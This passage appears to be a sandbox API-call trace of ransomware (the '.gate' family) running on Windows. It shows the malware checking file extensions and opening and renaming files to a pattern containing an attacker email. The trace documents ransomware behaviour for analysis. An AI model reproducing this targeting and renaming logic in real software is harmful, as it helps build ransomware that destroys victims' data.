(lpString1=".7z", lpString2="mui") returned -1 [0281.438] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.439] lstrlenW (lpString=".dbf") returned 4 [0281.439] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.439] lstrlenW (lpString=".1cd") returned 4 [0281.439] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.439] lstrlenW (lpString=".jpg") returned 4 [0281.439] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.439] lstrlenW (lpString=".doc") returned 4 [0281.439] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.439] lstrlenW (lpString=".docx") returned 5 [0281.439] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0281.439] lstrlenW (lpString=".pdf") returned 4 [0281.439] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.439] lstrlenW (lpString=".xls") returned 4 [0281.439] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.439] lstrlenW (lpString=".xlsx") returned 5 [0281.439] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0281.439] lstrlenW (lpString=".ppt") returned 4 [0281.439] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.439] lstrlenW (lpString=".zip") returned 4 [0281.439] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.439] lstrlenW (lpString=".rar") returned 4 [0281.439] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.439] lstrlenW (lpString=".bz2") returned 4 [0281.439] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.439] lstrlenW (lpString=".7z") returned 3 [0281.439] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.439] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.440] lstrlenW (lpString=".dbf") returned 4 [0281.440] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.440] lstrlenW (lpString=".1cd") returned 4 [0281.440] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.440] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\ShapeCollector.exe.mui") returned 79 [0281.440] lstrlenW (lpString=".jpg") returned 4 [0281.440] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.440] lstrcmpiW (lpString1=".exe", lpString2=".gate") returned -1 [0281.440] lstrlenW (lpString="FlickLearningWizard.exe") returned 23 [0281.440] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0281.529] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=804864) returned 1 [0281.529] CloseHandle (hObject=0x3a0) returned 1 [0281.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe")) returned 0x20 [0281.529] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.529] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flicklearningwizard.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.529] lstrlenW (lpString=".doc") returned 4 [0281.529] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0281.529] lstrlenW (lpString=".docx") returned 5 [0281.529] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0281.529] lstrlenW (lpString=".pdf") returned 4 [0281.529] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0281.529] lstrlenW (lpString=".xls") returned 4 [0281.529] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0281.529] lstrlenW (lpString=".xlsx") returned 5 [0281.529] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0281.529] lstrlenW (lpString=".ppt") returned 4 [0281.529] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0281.529] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.529] lstrlenW (lpString=".zip") returned 4 [0281.529] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0281.529] lstrlenW (lpString=".rar") returned 4 [0281.529] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0281.529] lstrlenW (lpString=".bz2") returned 4 [0281.530] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0281.530] lstrlenW (lpString=".7z") returned 3 [0281.530] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0281.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.530] lstrlenW (lpString=".dbf") returned 4 [0281.530] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0281.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.530] lstrlenW (lpString=".1cd") returned 4 [0281.530] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0281.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.530] lstrlenW (lpString=".jpg") returned 4 [0281.530] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0281.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.530] lstrlenW (lpString=".doc") returned 4 [0281.530] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0281.530] lstrlenW (lpString=".docx") returned 5 [0281.530] lstrcmpiW (lpString1=".docx", lpString2="d.exe") returned -1 [0281.530] lstrlenW (lpString=".pdf") returned 4 [0281.530] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0281.530] lstrlenW (lpString=".xls") returned 4 [0281.530] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0281.530] lstrlenW (lpString=".xlsx") returned 5 [0281.530] lstrcmpiW (lpString1=".xlsx", lpString2="d.exe") returned -1 [0281.530] lstrlenW (lpString=".ppt") returned 4 [0281.530] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0281.530] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.530] lstrlenW (lpString=".zip") returned 4 [0281.530] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0281.530] lstrlenW (lpString=".rar") returned 4 [0281.530] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0281.530] lstrlenW (lpString=".bz2") returned 4 [0281.530] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0281.531] lstrlenW (lpString=".7z") returned 3 [0281.531] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0281.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.531] lstrlenW (lpString=".dbf") returned 4 [0281.531] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0281.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.531] lstrlenW (lpString=".1cd") returned 4 [0281.531] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0281.531] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\FlickLearningWizard.exe") returned 74 [0281.531] lstrlenW (lpString=".jpg") returned 4 [0281.531] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0281.531] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0281.531] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0281.531] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0281.647] GetFileSizeEx (in: hFile=0x3d0, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=9728) returned 1 [0281.647] CloseHandle (hObject=0x3d0) returned 1 [0281.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui")) returned 0x20 [0281.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.647] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\he-il\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.652] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.652] lstrlenW (lpString=".doc") returned 4 [0281.652] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.653] lstrlenW (lpString=".docx") returned 5 [0281.653] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.653] lstrlenW (lpString=".pdf") returned 4 [0281.653] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.653] lstrlenW (lpString=".xls") returned 4 [0281.653] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.653] lstrlenW (lpString=".xlsx") returned 5 [0281.653] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.653] lstrlenW (lpString=".ppt") returned 4 [0281.653] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.653] lstrlenW (lpString=".zip") returned 4 [0281.653] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.653] lstrlenW (lpString=".rar") returned 4 [0281.653] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.653] lstrlenW (lpString=".bz2") returned 4 [0281.653] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.653] lstrlenW (lpString=".7z") returned 3 [0281.653] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.653] lstrlenW (lpString=".dbf") returned 4 [0281.653] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.653] lstrlenW (lpString=".1cd") returned 4 [0281.653] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.653] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.654] lstrlenW (lpString=".jpg") returned 4 [0281.654] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.654] lstrlenW (lpString=".doc") returned 4 [0281.654] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0281.654] lstrlenW (lpString=".docx") returned 5 [0281.654] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0281.654] lstrlenW (lpString=".pdf") returned 4 [0281.654] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0281.654] lstrlenW (lpString=".xls") returned 4 [0281.654] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0281.654] lstrlenW (lpString=".xlsx") returned 5 [0281.654] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0281.654] lstrlenW (lpString=".ppt") returned 4 [0281.654] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0281.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.654] lstrlenW (lpString=".zip") returned 4 [0281.654] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0281.654] lstrlenW (lpString=".rar") returned 4 [0281.654] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0281.654] lstrlenW (lpString=".bz2") returned 4 [0281.654] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0281.654] lstrlenW (lpString=".7z") returned 3 [0281.654] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0281.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.655] lstrlenW (lpString=".dbf") returned 4 [0281.655] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0281.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.655] lstrlenW (lpString=".1cd") returned 4 [0281.655] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0281.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\he-IL\\tipresx.dll.mui") returned 72 [0281.655] lstrlenW (lpString=".jpg") returned 4 [0281.655] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0281.655] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0281.655] lstrlenW (lpString="InkObj.dll") returned 10 [0281.655] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0281.847] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=2018304) returned 1 [0281.847] CloseHandle (hObject=0x404) returned 1 [0281.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll")) returned 0x20 [0281.847] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.847] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0281.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.848] lstrlenW (lpString=".doc") returned 4 [0281.848] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0281.848] lstrlenW (lpString=".docx") returned 5 [0281.848] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0281.848] lstrlenW (lpString=".pdf") returned 4 [0281.848] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0281.848] lstrlenW (lpString=".xls") returned 4 [0281.848] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0281.848] lstrlenW (lpString=".xlsx") returned 5 [0281.848] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0281.848] lstrlenW (lpString=".ppt") returned 4 [0281.848] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0281.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.848] lstrlenW (lpString=".zip") returned 4 [0281.848] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0281.848] lstrlenW (lpString=".rar") returned 4 [0281.848] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0281.848] lstrlenW (lpString=".bz2") returned 4 [0281.848] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0281.848] lstrlenW (lpString=".7z") returned 3 [0281.848] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0281.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.848] lstrlenW (lpString=".dbf") returned 4 [0281.848] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0281.848] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.848] lstrlenW (lpString=".1cd") returned 4 [0281.848] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString=".jpg") returned 4 [0281.849] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString=".doc") returned 4 [0281.849] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString=".docx") returned 5 [0281.849] lstrcmpiW (lpString1=".docx", lpString2="j.dll") returned -1 [0281.849] lstrlenW (lpString=".pdf") returned 4 [0281.849] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString=".xls") returned 4 [0281.849] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString=".xlsx") returned 5 [0281.849] lstrcmpiW (lpString1=".xlsx", lpString2="j.dll") returned -1 [0281.849] lstrlenW (lpString=".ppt") returned 4 [0281.849] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString=".zip") returned 4 [0281.849] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString=".rar") returned 4 [0281.849] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0281.849] lstrlenW (lpString=".bz2") returned 4 [0281.849] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0281.849] lstrlenW (lpString=".7z") returned 3 [0281.849] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString=".dbf") returned 4 [0281.849] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString=".1cd") returned 4 [0281.849] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0281.849] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0281.849] lstrlenW (lpString=".jpg") returned 4 [0281.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0281.850] lstrcmpiW (lpString1=".dll", lpString2=".gate") returned -1 [0281.850] lstrlenW (lpString="IpsPlugin.dll") returned 13 [0281.850] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b4 [0281.972] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x39fff14 | out: lpFileSize=0x39fff14*=125952) returned 1 [0281.972] CloseHandle (hObject=0x4b4) returned 1 [0281.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll")) returned 0x20 [0281.973] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0281.973] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsplugin.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0281.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.973] lstrlenW (lpString=".doc") returned 4 [0281.973] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0281.973] lstrlenW (lpString=".docx") returned 5 [0281.973] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0281.973] lstrlenW (lpString=".pdf") returned 4 [0281.973] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0281.973] lstrlenW (lpString=".xls") returned 4 [0281.973] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0281.973] lstrlenW (lpString=".xlsx") returned 5 [0281.973] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0281.973] lstrlenW (lpString=".ppt") returned 4 [0281.973] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0281.973] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.973] lstrlenW (lpString=".zip") returned 4 [0281.973] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0281.973] lstrlenW (lpString=".rar") returned 4 [0281.973] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0281.973] lstrlenW (lpString=".bz2") returned 4 [0281.973] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0281.973] lstrlenW (lpString=".7z") returned 3 [0281.973] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.974] lstrlenW (lpString=".dbf") returned 4 [0281.974] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.974] lstrlenW (lpString=".1cd") returned 4 [0281.974] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.974] lstrlenW (lpString=".jpg") returned 4 [0281.974] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.974] lstrlenW (lpString=".doc") returned 4 [0281.974] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString=".docx") returned 5 [0281.974] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1 [0281.974] lstrlenW (lpString=".pdf") returned 4 [0281.974] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString=".xls") returned 4 [0281.974] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString=".xlsx") returned 5 [0281.974] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1 [0281.974] lstrlenW (lpString=".ppt") returned 4 [0281.974] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.974] lstrlenW (lpString=".zip") returned 4 [0281.974] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString=".rar") returned 4 [0281.974] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0281.974] lstrlenW (lpString=".bz2") returned 4 [0281.974] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0281.974] lstrlenW (lpString=".7z") returned 3 [0281.974] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0281.974] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.975] lstrlenW (lpString=".dbf") returned 4 [0281.975] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0281.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.975] lstrlenW (lpString=".1cd") returned 4 [0281.975] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0281.975] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\IpsPlugin.dll") returned 64 [0281.975] lstrlenW (lpString=".jpg") returned 4 [0281.975] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0281.975] lstrcmpiW (lpString1=".mui", lpString2=".gate") returned 1 [0281.975] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0281.975] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ja-JP\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft 